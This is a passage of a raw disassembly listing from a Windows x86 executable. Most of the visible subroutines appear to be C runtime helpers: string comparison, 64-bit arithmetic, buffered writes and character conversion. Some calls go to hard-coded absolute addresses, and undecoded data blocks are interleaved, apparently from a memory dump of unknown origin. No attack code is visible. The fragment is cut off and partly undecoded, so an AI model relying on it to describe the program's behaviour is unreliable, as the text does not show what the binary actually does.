[ebp+var_1E] cmp ax, word_4DB9BA jnz short loc_41D0E6 mov ax, [ebp+var_20] cmp ax, word_4DB9B8 jnz short loc_41D0E6 mov eax, dword_4DB9B0 jmp short loc_41D12B ; --------------------------------------------------------------------------- loc_41D0E6: ; CODE XREF: sub_41D081+28j ; sub_41D081+35j ... lea eax, [ebp+var_CC] push eax nop call near ptr 28B0000h cmp eax, 0FFFFFFFFh jz short loc_41D113 cmp eax, 2 jnz short loc_41D10F cmp [ebp+var_32], 0 jz short loc_41D10F cmp [ebp+var_24], 0 jz short loc_41D10F push 1 pop eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D10F: ; CODE XREF: sub_41D081+7Aj ; sub_41D081+81j ... xor eax, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D113: ; CODE XREF: sub_41D081+75j or eax, 0FFFFFFFFh loc_41D116: ; CODE XREF: sub_41D081+8Cj ; sub_41D081+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4DB9B8 movsd movsd movsd movsd pop edi mov dword_4DB9B0, eax pop esi loc_41D12B: ; CODE XREF: sub_41D081+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_422669 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41D15B mov [ecx], eax locret_41D15B: ; CODE XREF: sub_41D081+D6j leave retn sub_41D081 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D160 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4DBA0C cmp dword ptr [eax+8], 0 jnz short loc_41D1B3 mov al, 0FFh mov edi, edi loc_41D17C: ; CODE XREF: sub_41D160+28j ; sub_41D160+48j or al, al jz short loc_41D1AE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D17C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D17C sbb al, al sbb al, 0FFh loc_41D1AE: ; CODE XREF: sub_41D160+1Ej movsx eax, al jmp short loc_41D1E7 ; --------------------------------------------------------------------------- loc_41D1B3: ; CODE XREF: sub_41D160+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D1BC: ; CODE XREF: sub_41D160+68j ; sub_41D160+80j or al, al jz short loc_41D1E7 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D1BC push eax push ebx call sub_41D74C mov ebx, eax add esp, 4 call sub_41D74C add esp, 4 cmp bl, al jz short loc_41D1BC sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D1E7: ; CODE XREF: sub_41D160+51j ; sub_41D160+5Ej pop ebx pop esi pop edi leave retn sub_41D160 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41D268 mov edi, [esp+14h] test edi, edi jz short loc_41D20B cmp edi, 1 jz short loc_41D20B cmp edi, 2 jnz short loc_41D268 loc_41D20B: ; CODE XREF: ___:0041D1FFj ; ___:0041D204j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41D222 push esi call sub_4227C5 add [esp+14h], eax pop ecx xor edi, edi loc_41D222: ; CODE XREF: ___:0041D213j push esi call sub_41DB8B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41D237 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41D24B ; --------------------------------------------------------------------------- loc_41D237: ; CODE XREF: ___:0041D22Ej test al, 1 jz short loc_41D24B test al, 8 jz short loc_41D24B test ah, 4 jnz short loc_41D24B mov dword ptr [esi+18h], 200h loc_41D24B: ; CODE XREF: ___:0041D235j ; ___:0041D239j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_42272B add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41D275 ; --------------------------------------------------------------------------- loc_41D268: ; CODE XREF: ___:0041D1F7j ; ___:0041D209j mov dword_4DB958, 16h or eax, 0FFFFFFFFh loc_41D275: ; CODE XREF: ___:0041D266j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D280 proc near ; CODE XREF: sub_412B09+19Ep ; sub_41386C+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41D299 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41D299: ; CODE XREF: sub_41D280+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41D280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2B4 proc near ; CODE XREF: ___:004162E4p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41D2D8 xor eax, eax jmp loc_41D3A5 ; --------------------------------------------------------------------------- loc_41D2D8: ; CODE XREF: sub_41D2B4+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41D2EB mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41D2F2 ; --------------------------------------------------------------------------- loc_41D2EB: ; CODE XREF: sub_41D2B4+2Dj mov [ebp+arg_C], 1000h loc_41D2F2: ; CODE XREF: sub_41D2B4+35j ; sub_41D2B4+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41D326 mov eax, [esi+4] test eax, eax jz short loc_41D326 cmp ebx, eax mov edi, ebx jb short loc_41D30C mov edi, eax loc_41D30C: ; CODE XREF: sub_41D2B4+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41C310 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41D36C ; --------------------------------------------------------------------------- loc_41D326: ; CODE XREF: sub_41D2B4+47j ; sub_41D2B4+4Ej cmp ebx, [ebp+arg_C] jb short loc_41D371 test ecx, ecx jz short loc_41D33A push esi call sub_41DB8B test eax, eax pop ecx jnz short loc_41D3B3 loc_41D33A: ; CODE XREF: sub_41D2B4+79j cmp [ebp+arg_C], 0 jz short loc_41D34D mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41D34F ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D2B4+8Aj mov edi, ebx loc_41D34F: ; CODE XREF: sub_41D2B4+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41D3AA add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41D3AA loc_41D36C: ; CODE XREF: sub_41D2B4+70j mov edi, [ebp+var_4] jmp short loc_41D39A ; --------------------------------------------------------------------------- loc_41D371: ; CODE XREF: sub_41D2B4+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41F58A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41D3B3 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41D39A mov [ebp+arg_C], 1 loc_41D39A: ; CODE XREF: sub_41D2B4+BBj ; sub_41D2B4+DDj test ebx, ebx jnz loc_41D2F2 mov eax, [ebp+arg_8] loc_41D3A5: ; CODE XREF: sub_41D2B4+1Fj ; sub_41D2B4+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41D3AA: ; CODE XREF: sub_41D2B4+ADj ; sub_41D2B4+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41D3B5 ; --------------------------------------------------------------------------- loc_41D3B3: ; CODE XREF: sub_41D2B4+84j ; sub_41D2B4+CFj mov eax, edi loc_41D3B5: ; CODE XREF: sub_41D2B4+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41D3A5 sub_41D2B4 endp ; =============== S U B R O U T I N E ======================================= sub_41D3BE proc near ; CODE XREF: sub_416909+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call near ptr 26B0D2Fh nop cmp eax, 0FFFFFFFFh jnz short loc_41D3DE call near ptr 26B0857h nop push eax call sub_4203DF pop ecx loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj test al, 1 jz short loc_41D3FF test [esp+arg_4], 2 jz short loc_41D3FF mov dword_4DB958, 0Dh mov dword_4DB95C, 5 jmp short loc_41D3DA ; --------------------------------------------------------------------------- loc_41D3FF: ; CODE XREF: sub_41D3BE+22j ; sub_41D3BE+29j xor eax, eax retn sub_41D3BE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D410 proc near ; CODE XREF: sub_416923+3Fp ; sub_41A98D+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41D432 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41D473 ; --------------------------------------------------------------------------- loc_41D432: ; CODE XREF: sub_41D410+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41D440: ; CODE XREF: sub_41D410+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D440 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41D46E cmp edx, [esp+8+arg_4] ja short loc_41D46E jb short loc_41D46F cmp eax, [esp+8+arg_0] jbe short loc_41D46F loc_41D46E: ; CODE XREF: sub_41D410+4Ej ; sub_41D410+54j dec esi loc_41D46F: ; CODE XREF: sub_41D410+56j ; sub_41D410+5Cj xor edx, edx mov eax, esi loc_41D473: ; CODE XREF: sub_41D410+20j pop esi pop ebx retn 10h sub_41D410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D480 proc near ; CODE XREF: sub_416923+2Dp ; sub_41A98D+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41D4A1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41D4F1 ; --------------------------------------------------------------------------- loc_41D4A1: ; CODE XREF: sub_41D480+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41D4AF: ; CODE XREF: sub_41D480+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D4AF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41D4DA cmp edx, [esp+4+arg_4] ja short loc_41D4DA jb short loc_41D4E2 cmp eax, [esp+4+arg_0] jbe short loc_41D4E2 loc_41D4DA: ; CODE XREF: sub_41D480+4Aj ; sub_41D480+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41D4E2: ; CODE XREF: sub_41D480+52j ; sub_41D480+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41D4F1: ; CODE XREF: sub_41D480+1Fj pop ebx retn 10h sub_41D480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D500 proc near ; CODE XREF: sub_416A33+5Fp ; sub_416A33+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41D521 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41D521: ; CODE XREF: sub_41D500+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41D53D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41D53D: ; CODE XREF: sub_41D500+27j or eax, eax jnz short loc_41D559 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41D59A ; --------------------------------------------------------------------------- loc_41D559: ; CODE XREF: sub_41D500+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41D567: ; CODE XREF: sub_41D500+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41D567 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41D595 cmp edx, [esp+0Ch+arg_4] ja short loc_41D595 jb short loc_41D596 cmp eax, [esp+0Ch+arg_0] jbe short loc_41D596 loc_41D595: ; CODE XREF: sub_41D500+85j ; sub_41D500+8Bj dec esi loc_41D596: ; CODE XREF: sub_41D500+8Dj ; sub_41D500+93j xor edx, edx mov eax, esi loc_41D59A: ; CODE XREF: sub_41D500+57j dec edi jnz short loc_41D5A4 neg edx neg eax sbb edx, 0 loc_41D5A4: ; CODE XREF: sub_41D500+9Bj pop ebx pop esi pop edi retn 10h sub_41D500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5AA proc near ; CODE XREF: sub_4170ED+BFp ; sub_4170ED+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DBA14 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41D5DE mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41D645 loc_41D5C6: ; CODE XREF: sub_41D5AA+30j mov cl, [edx] cmp cl, 61h jl short loc_41D5D7 cmp cl, 7Ah jg short loc_41D5D7 sub cl, 20h mov [edx], cl loc_41D5D7: ; CODE XREF: sub_41D5AA+21j ; sub_41D5AA+26j inc edx cmp [edx], bl jnz short loc_41D5C6 jmp short loc_41D645 ; --------------------------------------------------------------------------- loc_41D5DE: ; CODE XREF: sub_41D5AA+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_422ACA mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41D637 push edi call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41D637 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DBA14 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D637 push [ebp+var_4] push [ebp+arg_0] call sub_41BEB0 pop ecx pop ecx loc_41D637: ; CODE XREF: sub_41D5AA+53j ; sub_41D5AA+61j ... push [ebp+var_4] call sub_41B0B1 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41D645: ; CODE XREF: sub_41D5AA+1Aj ; sub_41D5AA+32j pop ebx leave retn sub_41D5AA endp ; =============== S U B R O U T I N E ======================================= sub_41D648 proc near ; CODE XREF: sub_417ADE+1A8p arg_0 = dword ptr 4 cmp dword_43CBE4, 1 jle short loc_41D65F push 4 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D65F: ; CODE XREF: sub_41D648+7j mov eax, [esp+arg_0] mov ecx, off_43C9D8 mov al, [ecx+eax*2] and eax, 4 retn sub_41D648 endp ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_420510+76p ; sub_420510+88p ... arg_0 = dword ptr 4 cmp dword_43CBE4, 1 jle short loc_41D687 push 8 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D687: ; CODE XREF: sub_41D670+7j mov eax, [esp+arg_0] mov ecx, off_43C9D8 mov al, [ecx+eax*2] and eax, 8 retn sub_41D670 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+0Ch] test eax, eax jz short locret_41D6EC mov edx, [esp+4] push esi push edi mov esi, edx mov edi, [esp+10h] or edx, edi and edx, 3 jz short loc_41D6ED test eax, 1 jz short loc_41D6CD mov cl, [esi] cmp cl, [edi] jnz short loc_41D71A inc esi inc edi dec eax jz short loc_41D6EA loc_41D6CD: ; CODE XREF: ___:0041D6C0j ; ___:0041D6E8j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41D71A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41D71A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41D6CD loc_41D6EA: ; CODE XREF: ___:0041D6CBj ; ___:0041D724j pop edi pop esi locret_41D6EC: ; CODE XREF: ___:0041D6A6j retn ; --------------------------------------------------------------------------- loc_41D6ED: ; CODE XREF: ___:0041D6B9j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41D722 repe cmpsd jz short loc_41D722 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41D715 cmp ch, dh jnz short loc_41D715 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41D715 cmp ch, dh loc_41D715: ; CODE XREF: ___:0041D703j ; ___:0041D707j ... mov eax, 0 loc_41D71A: ; CODE XREF: ___:0041D6C6j ; ___:0041D6D3j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41D722: ; CODE XREF: ___:0041D6F5j ; ___:0041D6F9j test eax, eax jz short loc_41D6EA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41D715 dec eax jz short loc_41D749 cmp dh, ch jnz short loc_41D715 dec eax jz short loc_41D749 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41D715 dec eax loc_41D749: ; CODE XREF: ___:0041D72Fj ; ___:0041D736j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D74C proc near ; CODE XREF: sub_418069+6p ; sub_418087+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DBA14, 0 push ebx push esi push edi jnz short loc_41D779 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41D812 cmp eax, 5Ah jg loc_41D812 add eax, 20h jmp loc_41D812 ; --------------------------------------------------------------------------- loc_41D779: ; CODE XREF: sub_41D74C+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41D7AD cmp dword_43CBE4, esi jle short loc_41D79B push esi push ebx call sub_41F515 pop ecx pop ecx jmp short loc_41D7A5 ; --------------------------------------------------------------------------- loc_41D79B: ; CODE XREF: sub_41D74C+42j mov eax, off_43C9D8 mov al, [eax+ebx*2] and eax, esi loc_41D7A5: ; CODE XREF: sub_41D74C+4Dj test eax, eax jnz short loc_41D7AD loc_41D7A9: ; CODE XREF: sub_41D74C+ADj mov eax, ebx jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D7AD: ; CODE XREF: sub_41D74C+3Aj ; sub_41D74C+5Bj mov edx, off_43C9D8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D7D1 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41D7DA ; --------------------------------------------------------------------------- loc_41D7D1: ; CODE XREF: sub_41D74C+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41D7DA: ; CODE XREF: sub_41D74C+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DBA14 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D7A9 cmp eax, esi jnz short loc_41D805 movzx eax, [ebp+var_4] jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D805: ; CODE XREF: sub_41D74C+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D812: ; CODE XREF: sub_41D74C+16j ; sub_41D74C+1Fj ... pop edi pop esi pop ebx leave retn sub_41D74C endp ; =============== S U B R O U T I N E ======================================= sub_41D817 proc near ; CODE XREF: sub_4185A5+ADp ; sub_419594+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41D82E loc_41D824: ; CODE XREF: sub_41D817+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41D824 loc_41D82E: ; CODE XREF: sub_41D817+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41D817 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D834 proc near ; CODE XREF: sub_4185A5+7Fp ; sub_4185A5+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41D901 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41D92E cmp dword_4DBA14, esi jnz short loc_41D885 cmp edi, esi jbe loc_41D92E loc_41D864: ; CODE XREF: sub_41D834+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41D92E inc eax inc edx inc edx cmp eax, edi jb short loc_41D864 jmp loc_41D92E ; --------------------------------------------------------------------------- loc_41D885: ; CODE XREF: sub_41D834+26j mov ebx, [ebp+arg_4] mov esi, dword_427180 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DBA24 call esi test eax, eax jnz loc_41D92D nop call near ptr 26B0857h cmp eax, 7Ah jz short loc_41D8BF loc_41D8B0: ; CODE XREF: sub_41D834+CBj ; sub_41D834+F7j mov dword_4DB958, 2Ah or eax, 0FFFFFFFFh jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D8BF: ; CODE XREF: sub_41D834+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41D8C7: ; CODE XREF: sub_41D834+B3j mov cl, [eax] test cl, cl jz short loc_41D8E9 mov edx, off_43C9D8 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41D8DE inc eax loc_41D8DE: ; CODE XREF: sub_41D834+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41D8C7 loc_41D8E9: ; CODE XREF: sub_41D834+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DBA24 call esi test eax, eax jnz short loc_41D92E jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D901: ; CODE XREF: sub_41D834+Fj cmp dword_4DBA14, esi jnz short loc_41D914 push [ebp+arg_4] call sub_41AFE0 pop ecx jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D914: ; CODE XREF: sub_41D834+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DBA24 nop call near ptr 2860000h cmp eax, esi jz short loc_41D8B0 loc_41D92D: ; CODE XREF: sub_41D834+6Bj dec eax loc_41D92E: ; CODE XREF: sub_41D834+1Aj ; sub_41D834+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41D834 endp ; --------------------------------------------------------------------------- db 4Eh dd 0F6D50A81h, 0DC4BF756h, 0D0C71332h, 0A1647FB3h, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 42C5E8E8h, 3390024Bh, 89D48AD2h dd 4DB97015h, 81C88B00h, 0FFE1h, 6C0D8900h, 0C1004DB9h dd 0CA0308E1h, 0B9680D89h, 0E8C1004Dh, 0B964A310h, 0F633004Dh dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h dd 5BE8FC75h, 90000059h, 4B422FE8h, 0CFECA302h, 19E8004Dh dd 0A3000058h, 4DB9C8h, 55C2E8h, 5504E800h, 0B9E80000h dd 89FFFFDDh, 458DD075h, 0E89050A4h, 24B2628h, 5495E8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 50E89056h, 50022934h, 0FE3820E8h, 0A04589FFh dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 0D3E85150h dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41DA29 proc near ; CODE XREF: sub_41D052+16p ; ___:00422F18p ... arg_0 = dword ptr 4 cmp dword_4DB9D0, 1 jnz short loc_41DA37 call sub_423590 loc_41DA37: ; CODE XREF: sub_41DA29+7j push [esp+arg_0] call sub_4235C9 push 0FFh call off_43A9A0 pop ecx pop ecx retn sub_41DA29 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4DB9D0 dd 0E8057501h, 5B34h, 42474FFh, 5B64E8h, 0FF685900h, 90000000h dd 0A58244E8h db 77h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DA72 proc near ; CODE XREF: sub_41B05B+2Ap ; sub_423A33+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DCDA0 jnb loc_41DB0C mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DCCA0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41DB0C push edi call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DAEB cmp edi, 1 jz short loc_41DAB9 cmp edi, 2 jnz short loc_41DACF loc_41DAB9: ; CODE XREF: sub_41DA72+40j push 2 call sub_4238A2 push 1 mov ebp, eax call sub_4238A2 pop ecx cmp eax, ebp pop ecx jz short loc_41DAEB loc_41DACF: ; CODE XREF: sub_41DA72+45j push edi call sub_4238A2 pop ecx push eax nop call near ptr 2690934h test eax, eax jnz short loc_41DAEB nop call near ptr 26B0857h mov ebp, eax jmp short loc_41DAED ; --------------------------------------------------------------------------- loc_41DAEB: ; CODE XREF: sub_41DA72+3Bj ; sub_41DA72+5Bj ... xor ebp, ebp loc_41DAED: ; CODE XREF: sub_41DA72+77j push edi call sub_423828 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41DB08 push ebp call sub_4203DF pop ecx jmp short loc_41DB1D ; --------------------------------------------------------------------------- loc_41DB08: ; CODE XREF: sub_41DA72+8Bj xor eax, eax jmp short loc_41DB20 ; --------------------------------------------------------------------------- loc_41DB0C: ; CODE XREF: sub_41DA72+Ej ; sub_41DA72+2Fj and dword_4DB95C, 0 mov dword_4DB958, 9 loc_41DB1D: ; CODE XREF: sub_41DA72+94j or eax, 0FFFFFFFFh loc_41DB20: ; CODE XREF: sub_41DA72+98j pop edi pop esi pop ebp pop ebx retn sub_41DA72 endp ; =============== S U B R O U T I N E ======================================= sub_41DB25 proc near ; CODE XREF: sub_41B05B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41DB4E test al, 8 jz short loc_41DB4E push dword ptr [esi+8] call sub_41B0B1 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41DB4E: ; CODE XREF: sub_41DB25+Aj ; sub_41DB25+Ej pop esi retn sub_41DB25 endp ; =============== S U B R O U T I N E ======================================= sub_41DB50 proc near ; CODE XREF: sub_41DBF0+2Dp ; sub_41DBF0+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41DB62 push esi call sub_41DBF0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41DB62: ; CODE XREF: sub_41DB50+7j push esi call sub_41DB8B test eax, eax pop ecx jz short loc_41DB72 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DB72: ; CODE XREF: sub_41DB50+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41DB87 push dword ptr [esi+10h] call sub_4238DF neg eax pop ecx 